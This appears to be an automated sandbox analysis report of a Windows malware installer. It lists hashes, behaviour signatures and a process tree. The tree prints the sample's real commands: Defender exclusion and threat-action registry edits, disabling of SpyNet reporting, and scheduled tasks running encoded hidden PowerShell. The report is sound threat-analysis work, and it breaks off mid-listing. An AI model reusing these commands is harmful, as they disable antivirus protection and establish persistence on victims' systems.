Analysis

  • max time kernel
    144s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    03/04/2024, 10:41

General

  • Target

    4b72c7d3c7931614c38cca2b224b56206b7ac1207c2a2a5fb9ca97608c342ded.exe

  • Size

    6.8MB

  • MD5

    82883bd1dc515992302bdc7a797f7ae6

  • SHA1

    f6bd4475cdec5fd52ebb746f04d8c0ffbde1a3c0

  • SHA256

    4b72c7d3c7931614c38cca2b224b56206b7ac1207c2a2a5fb9ca97608c342ded

  • SHA512

    d89f60764511972be34bc6acdc19bf44f7d354b82977b256353238f2ab2da8ad8602c944810d6560121409d16cd230d7f544ab9589bfe0f4bd4c22db5cd111d2

  • SSDEEP

    98304:91ONpDcPHB7oWB0q32sghrEGog5UFI0eDyNGfJ9cnqzdmHQuuWy4rk0yaYWngUxG:91ONSKWBz3lgi+0fYLfsvry4A0y2g7h

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 31 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4b72c7d3c7931614c38cca2b224b56206b7ac1207c2a2a5fb9ca97608c342ded.exe
    "C:\Users\Admin\AppData\Local\Temp\4b72c7d3c7931614c38cca2b224b56206b7ac1207c2a2a5fb9ca97608c342ded.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1156
    • C:\Users\Admin\AppData\Local\Temp\7zS6968.tmp\Install.exe
      .\Install.exe /zkizdidrXl "385118" /S
      2⤵
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Drops file in System32 directory
      • Enumerates system info in registry
      • Suspicious use of WriteProcessMemory
      PID:1900
      • C:\Windows\SysWOW64\forfiles.exe
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4452
        • C:\Windows\SysWOW64\cmd.exe
          /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1088
          • \??\c:\windows\SysWOW64\reg.exe
            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
            5⤵
              PID:4644
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
              5⤵
                PID:4136
          • C:\Windows\SysWOW64\forfiles.exe
            "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2352
            • C:\Windows\SysWOW64\cmd.exe
              /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2732
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                5⤵
                  PID:1676
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                  5⤵
                    PID:3860
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /CREATE /TN "giYLIiWYa" /SC once /ST 01:13:07 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                3⤵
                • Creates scheduled task(s)
                PID:4568
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /run /I /tn "giYLIiWYa"
                3⤵
                  PID:2220
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /DELETE /F /TN "giYLIiWYa"
                  3⤵
                    PID:888
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /CREATE /TN "bCAdHbOFiqtMCRhbmR" /SC once /ST 10:43:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\ZyxyzYS.exe\" hl /Lssite_idOGH 385118 /S" /V1 /F
                    3⤵
                    • Drops file in Windows directory
                    • Creates scheduled task(s)
                    PID:1960
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1028
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:4716
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                  1⤵
                    PID:756
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                    1⤵
                      PID:4264
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:4552
                      • C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\ZyxyzYS.exe
                        C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\ZyxyzYS.exe hl /Lssite_idOGH 385118 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:3848
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:4416
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3116
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:960
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:1436
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:3012
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:2736
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:3448
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:4228
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:3040
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:2776
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:2804
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:2708
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:3892
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:3576
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:856
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:1548
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:1672
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:4912
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:1320
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:3980
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:2868
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:1100
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:4628
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:3144
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:3416
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:2560
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:4432
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:4348
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:3688
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                    PID:2180
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:64;"
                                                                                  2⤵
                                                                                  • Drops file in System32 directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:1568
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                    3⤵
                                                                                      PID:640
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                        4⤵
                                                                                          PID:4608
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:4588
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:5092
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:3924
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:5032
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:2848
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:4328
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:4984
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:2084
                                                                                                      • C:\Windows\SysWOW64\reg.exe
